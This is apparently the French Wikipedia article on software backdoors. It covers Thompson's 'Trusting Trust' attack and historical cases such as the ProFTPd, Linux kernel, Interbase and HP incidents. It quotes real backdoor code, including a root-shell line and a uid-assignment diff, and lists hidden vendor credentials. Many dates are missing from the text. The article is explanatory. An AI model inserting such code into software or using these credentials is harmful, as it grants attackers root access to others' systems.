Porte dérobée
Dans un logiciel, une porte dérobée (de l'anglais backdoor, litt. « porte de derrière ») est une fonctionnalité inconnue de l'utilisateur légitime, qui donne un accès secret au logiciel.
Pour les articles homonymes, voir Porte dérobée (homonymie).
L'introduction d'une porte dérobée dans un logiciel à l'insu de son utilisateur transforme le logiciel en cheval de Troie.
Technique
Une porte dérobée peut être introduite soit par le développeur du logiciel, soit par un tiers. La personne connaissant la porte dérobée peut l'utiliser pour surveiller les activités du logiciel, voire en prendre le contrôle (par contournement de l'authentification). Enfin, selon l'étendue des droits que le système d'exploitation donne au logiciel contenant la porte dérobée, le contrôle peut s'étendre à l'ensemble des opérations de l’appareil exécutant le logiciel (ordinateur, smartphone, dispositif de surveillance, objets connectés, etc).
La généralisation de la mise en réseau des appareils et ordinateurs connectés rend les portes dérobées nettement plus utiles que du temps où un accès physique à l'ordinateur était la règle.
Parmi les motivations amenant les développeurs de logiciel à créer des portes dérobées, il y a :
- l'intérêt pratique d'un accès facile et toujours ouvert au logiciel pour pouvoir mener efficacement les actions de maintenance ;
- la possibilité de désactiver subrepticement le logiciel en cas de désaccord avec son client (non-paiement de licence).
Parmi les motivations amenant les pirates informatiques à installer une porte dérobée :
- la possibilité de surveiller ce que fait l'utilisateur légitime et de copier ou détruire des données ayant une valeur (mots de passe, clé privée pour déchiffrer des messages privés, coordonnées bancaires, secrets commerciaux) ;
- la possibilité de prendre le contrôle d'un appareil et de pouvoir l'utiliser pour mener des actions malfaisantes (envoi de pourriels notamment pour l'hameçonnage, de virus informatiques, déni de service) ;
- le contrôle d'un vaste réseau d'ordinateurs (voir botnet), qui peut être utilisé pour du chantage au déni de service distribué (DDoS), ou revendu à des criminels.
Pour installer des portes dérobées en masse, les pirates utilisent des vers. Ceux-ci se répandent automatiquement et installent un serveur informatique sur chaque machine infecté. Ensuite le pirate peut se connecter à travers Internet au serveur.
Une porte dérobée peut aussi être insérée par voie d'Easter egg, de compilateur (voir la section plus bas Le cas du compilateur C Unix: Trusting Trust), ou peut prendre la forme d'un programme, comme Back Orifice.
Le cas du compilateur C Unix : Trusting Trust
En 1983, l'informaticien américain Kenneth Thompson décrit, dans sa conférence Turing intitulée Reflections on Trusting Trust et sous titrée [1] :
- « To what extent should one trust a statement that a program is free of Trojan horses? Perhaps it is more important to trust the people who wrote the software. »
autrement dit :
- « Dans quelle mesure peut-on croire qu'un programme est exempt de chevaux de Troie ? Il est probablement plus important de croire les gens qui ont écrit le logiciel. »,
comment il aurait été possible d'insérer une porte dérobée dans tous les programmes en C compilés sur Unix. De plus, vu que les versions mises à jour de ce compilateur, qui n'est rien d'autre qu'un autre programme compilé, sont compilées à partir du compilateur C préexistant, l'algorithme d'insertion de la porte dérobée se serait fait transmettre d'une mise à jour à une autre. Donc, si ce compilateur à porte dérobée avait été « lâché dans la nature » (en anglais : released in the wild) à l'origine, alors n'importe quel compilateur de C insérerait possiblement des portes dérobées de nos jours.
Il est à noter que la porte dérobée présente dans tous les programmes C compilés n'apparaîtrait jamais dans le code source en C.
L'appellation trust (pour confiance) vient du fait que le compilateur C d'origine est considéré par son utilisateur final comme une boîte noire digne de confiance.
Pour un programmeur qui ne comprend pas le fonctionnement d'un tel compilateur, mais lui fait confiance, il serait difficile de penser qu'un programme, qu'il a lui-même écrit puis compilé, contient une porte dérobée[2].
Affaires notables
F5 Big-IP et Enterprise Manager (2012)
Le , une clef secrète permettant de s'authentifier en tant que root (Administrateur) sur la majorité des appareils vendus par F5 a été révélée[3]. La faille a été corrigée par le vendeur le [4]. Cette clef étant présente sur tous les appareils vulnérables, le bug a obtenu un Pwnie Award (en)[5] durant la conférence BlackHat USA 2012.
HP StorageWorks P2000 G3 (2010)
Le , un compte caché a été trouvé[6],[7],[8] dans le système de stockage HP StorageWorks P2000 G3 : le nom d'utilisateur « admin » et le mot de passe « !admin » permet de s'identifier avec le maximum de privilèges. Il n'est pas possible de supprimer ce compte, par contre il est possible d'en changer le mot passe en passant par la ligne de commande[9] (commande « set password admin password ...
»).
ProFTPd (2010)
Le , le tarball de la dernière version (1.3.3c) du serveur FTP ProFTPd a été remplacé par une version contenant une porte dérobée sur le serveur FTP officiel du projet[10]. La porte dérobée ajoute une commande « HELP ACIDBITCHEZ » qui ouvre un shell en tant que l'utilisateur root[11]. Le tarball a été propagé sur l'ensemble des miroirs officiels. La compromission a été découverte[12] le , et corrigée le . La porte dérobée a notamment ajouté la ligne suivante au fichier src/help.c :
if (strcmp(target, "ACIDBITCHEZ") == 0) { setuid(0); setgid(0); system("/bin/sh;/sbin/sh"); }
L'attaquant s'est introduit sur le serveur FTP en utilisant une faille du module SQL de PostgreSQL qui permet d'exécuter du code à distance. Cette faille a été publiée[13] le dans le numéro 67 du magazine Phrack. La faille est corrigée[14] par la version 1.3.3d de ProFTPd.
Cisco Unified Videoconferencing (2010)
Trois comptes ont été découverts dans un système de visioconférence Cisco, Cisco Unified Videoconferencing (UVC), modèles System 5110 et 5115, utilisant le système d'exploitation Linux. C'est Florent Daigniere qui a découvert ces comptes durant un audit et il les a diffusés sur la liste de diffusion Full Disclosure le [15],[16]. Cisco a publié un bulletin de sécurité le même jour[17]. Il s'agit des comptes « root », « cs » et « develop » qui ne peuvent ni être modifiés, ni être supprimés. Ils permettent un accès distant par les protocoles FTP et SSH. D'autres failles ont été découvertes durant cet audit.
Noyau Linux (2003)
Le , une porte dérobée a été introduite[18] dans le noyau Linux directement sur le serveur CVS par un attaquant se faisant passer pour David S. Miller (développeur noyau). Elle a été détectée dès le lendemain[19]. Le serveur CVS était un miroir du dépôt officiel utilisant BitKeeper[20]. La porte dérobée a été greffée très synthétiquement, elle consiste en deux lignes de langage C, ajoutées à la fonction sys_wait4 du fichier « kernel/exit.c » :
+ if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
+ retval = -EINVAL;
La condition (current->uid = 0)
est censée être lue par un lecteur particulièrement naïf comme une comparaison « si le numéro d'utilisateur du processus est 0 (root) » mais signifie en réalité en langage C l'affectation « le numéro d'utilisateur du processus devient 0 (root) ». Le résultat est que si cette fonction sys_wait4() truquée était appelée avec les paramètres __WCLONE|__WALL, le processus prenait l'identité de root, le niveau d'utilisateur disposant des droits d'accès maximaux.
Cette modification visait à profiter de la confusion entre divers langages de programmation, où le symbole de la comparaison de deux valeurs est le signe = (Pascal, Ada, ML...) et d'autres où c'est la double égalité ==
qui joue ce rôle (C, C++, Java...), le signe = signifiant alors une affectation d'une valeur à une variable. Cette modification avait peu de chances de passer inaperçue, car ce type d'erreur est peu compatible avec le niveau en informatique de programmeurs travaillant sur le noyau Linux. Le langage C étant le langage de programmation le plus utilisé sur les systèmes de la famille Unix, très peu d'utilisateurs non débutants se seraient laissé prendre.
De plus, le processus de développement collectif d'un logiciel (notamment celui d'un logiciel libre) impose que chaque modification soit validée ; elle doit pour cela avoir une justification légitime. Ainsi, toute modification, aussi minime soit-elle, apparaît dans les diff et soulève de légitimes interrogations si elle n'a pas une justification claire.
Microsoft Windows NT4 et _NSAKEY (1999)
_NSAKEY est le nom d'une variable découverte en août 1999 dans le système d'exploitation Windows NT 4 (SP5) de Microsoft. Cette version fut diffusée sans que les informations destinées au débugage soient enlevées. La variable découverte par Andrew D. Fernandes de Cryptonym Corporation contenait une clé publique de 1024 bits. La nouvelle provoqua un tollé général et l'apparition de diverses rumeurs concernant une éventuelle conspiration gouvernementale. Si la NSA avait effectivement été en possession de la clé secrète correspondant à la clé présente dans Windows NT, il lui aurait été possible de chiffrer des données provenant des utilisateurs et, avec la complicité de Microsoft, de récupérer ces informations.
Interbase (1994-2001)
Une porte dérobée a été découverte dans le système de gestion de base de données Interbase le [21], lors de l'ouverture du code source par son éditeur, Borland. Il suffisait d'entrer le nom d'utilisateur « politically » et le mot de passe « correct » (politically correct, littéralement "politiquement correct" en français) pour se connecter en administrateur. Cette porte dérobée a été introduite entre 1992 et 1994[22]. Ce compte ne pouvant pas être modifié ou supprimé, il fallait par conséquent installer une nouvelle version d'Interbase ne contenant pas ce compte caché.
BIOS
Des BIOS de certains fabricants[23] (dont les deux principaux, AMI et AWARD) ont un mot de passe caché permettant d'accéder au BIOS même s'il est protégé par un mot de passe choisi par l'utilisateur. Le mot de passe caché dépend du modèle de BIOS.
Cartes-mères de PC
Les cartes-mères Intel comportent depuis 2008 un management Engine permettant de faire de la maintenance à distance, et qui comporte une faille découverte en 2018. Les cartes-mères AMD (Platform Security Processor) ont aussi connu des failles[24].
Failles de sécurité introduites involontairement
Dans les affaires suivantes, une modification d'un logiciel a introduit une faille de sécurité, sans que l'auteur de la modification ne l'ait fait volontairement. L'auteur n'avait pas les compétences pour évaluer que sa modification puisse introduire une faille de sécurité, ou plus simplement il n'a pas pensé à l'impact qu'elle pouvait avoir sur la sécurité du produit.
OpenSSL packagé par Debian (2006-2008)
Le , une faille de sécurité a été introduite involontairement dans la version Debian de la bibliothèque OpenSSL. C'est le mainteneur du paquet OpenSSL, Kurt Roeckx, qui a introduit le [26] une faille de sécurité dans OpenSSL en voulant corriger[27] un avertissement de l'outil Valgrind, qui était en fait un faux-positif. Le fait que la modification ait introduit une faille de sécurité est involontaire : Kurt Roeckx a contacté[28] les développeurs d'OpenSSL pour demander conseil, mais une confusion s'est ensuivie. La première version vulnérable, 0.9.8c-1, a été téléchargée dans la distribution instable le . La faille a été trouvée en et corrigée le [29].
La modification d'OpenSSL a réduit l'entropie du générateur de nombres aléatoires à seulement environ 15 bits : seul l'identifiant de processus (PID) était utilisé. Un identifiant peut avoir une valeur entre 1 et PID_MAX (32768), ce qui ne donne que 32 767 graines possibles[30]. Au niveau des clés de chiffrement, il en existe trois fois plus, 98 301, car la génération des clés dépend de l'architecture, et dans ce cas 3 architectures différentes entrent en jeu (little-endian 32 bits, little-endian 64 bits et big-endian 32 bits).
Installeur Ubuntu (2005-2006)
L'installeur du système d'exploitation Ubuntu, dans sa version 5.10 (Breezy Badger, sortie le ) uniquement, écrivait le mot de passe de l'utilisateur root dans plusieurs fichiers de log lisible par n'importe quel utilisateur. Le bug a été trouvé par Karl Øie le [31], puis corrigé le même jour[32]. Ce bug permet à un utilisateur local d'élever ses privilèges. Il est plus probable qu'il s'agisse d'un oubli des programmeurs de l'installeur qu'une faille de sécurité introduite volontairement.
Dans la culture populaire
Le scénario du film américain WarGames repose sur une porte dérobée. Le concepteur d'un système informatique militaire y insère une porte dérobée sous la forme d'un mot de passe non documenté qui y donne accès. Ce mot de passe donne aussi accès à des fonctionnalités non-documentées du programme, qui donne au système de contrôle d'armement l'apparence d'un jeu vidéo de simulation de guerre.
Dans le film Tron : L'Héritage Sam Flynn s'introduit dans la grille à l'aide d'un identifiant en porte dérobée.
Dans la série Person of Interest, une porte dérobée implantée dans un système de surveillance de masse appartenant au gouvernement appelé la Machine permet à deux hommes de l'utiliser secrètement.
Dans le jeu vidéo Watch Dogs 2, Marcus Holloway injecte une backdoor dans le CtOS 2.0.
Notes et références
- (en) Ken Thompson, « Reflection on Trusting Trust », Commun. ACM, vol. 27, no 8, , p. 761-763 (lire en ligne).
- Kenneth Thompson, Reflections on Trusting Trust, Communication of the ACM, Vol. 27, No. 8, August 1984, pp. 761-763. (en)
- Florent Daigniere de Matta Consulting, « CVE-2012-1493 MATTA-2012-002 F5 BIG-IP remote root authentication bypass Vulnerability »,
- « A platform-specific remote access vulnerability has been discovered that may allow a remote user to gain privileged access to affected systems using SSH. The vulnerability is caused by a configuration error, and is not the result of an underlying SSH defect. »,
- « Including a SSH authentication public key for root on all F5 devices is nice, putting the private key for it in the firmware where it can be found and then used against any other F5 device is even better. For FAIL, press F5. »,
- Auteur volontairement anonyme, « hidden admin user on every HP MSA2000 G3 », Liste de diffusion Bugtraq de SecurityFocus,
- « Backdoor Vulnerability Discovered on HP MSA2000 Storage Systems », SecurityWeek News,
- « CUSTOMER ADVISORY: HP StorageWorks P2000 G3 MSA Array Systems-How to change additional Service Account password » [archive du ], HP, (consulté le )
- Pavel Kankovsky, « Re: hidden admin user on every HP MSA2000 G3 », Liste de diffusion Bugtraq de SecurityFocus,
- Matthew Jonkman, « Proftpd Rules », Liste de diffusion Emerging Threats
- xorl, « News: ProFTPd owned and backdoored »,
- TJ Saunders, « ProFTPD ftp.proftpd.org compromise », Liste de diffusion ProFTPD-announce
- max_packetz@felinemenace.org, « ProFTPD with mod_sql pre-authentication, remote root », Phrack,
- « Bogue 3536 - mod_sql has insufficient bounds checking in sql_prepare_where() function », 18 novembre 2010 (dernière mise à jour le 18 décembre 2010)
- Florent Daigniere de Matta Consulting, « Cisco Unified Videoconferencing multiple vulnerabilities - CVE-2010-3037 CVE-2010-3038 »,
- « CVE-2010-3038 », US-CERT/NIST,
- « Cisco Security Advisory: Multiple Vulnerabilities in Cisco Unified Videoconferencing Products », Cisco,
- Larry McVoy, « BK2CVS problem », Liste de diffusion du noyau Linux (LKML),
- Chad Kitching, « Re: BK2CVS problem », Liste de diffusion du noyau Linux (LKML), 5 novembre 2003 (17:51:03 est)
- Jeremy, « Linux: Kernel "Back Door" Attempt », KernelTrap.org,
- Jeffrey S Havrilla, « Borland/Inprise Interbase SQL database server contains backdoor superuser account with known password », US-CERT,
- michael, « Interbase Backdoor, Secret for Six Years, Revealed in Source », Slashdot,
- « How to Reset a BIOS Password », TopBits
- Darknet - mythes et réalités, Jean-Philippe Rennard, Éd. Ellipses, 2018 p. 60
- Brad Stone, « Amazon Erases Orwell Books From Kindle », New York Times, (lire en ligne),
- (en) Kurt Roeckx (kroeckx), « Commit : Don't add uninitialised data to the random number generator. »,
- « #363516: valgrind-clean the RNG », Debian, 19 avril 2006 (dernière mise à jour : 20 mai 2008)
- Kurt Roeckx, « Random number generator, uninitialised data and valgrind »,
- « DSA-1571-1 openssl -- Générateur de nombres aléatoires prévisible », Debian,
- « SSLkeys », 13 mai 2008 (dernière modification : 4 décembre 2010)
- karl (karloie), « Administrator root password readable in cleartext on Breezy », Ubuntu,
- « USN-262-1: Ubuntu 5.10 installer vulnerability (CVE-2006-1183) »,
Voir aussi
Articles connexes
Liens externes
- (en) Astrid Hoy Todd, « Vendor-Supplied Backdoor Passwords - A Continuing Vulnerability », SANS Institute,
- (fr) Article dans transfert.net sur la porte dérobée dans Interbase
- (en) POC Création d'une porte dérobée avancée sous Linux
- (en) The Underhanded C Contest : Concours existant depuis 2007 qui vise à écrire un programme en langage C contenant une porte dérobée
- Portail de la sécurité informatique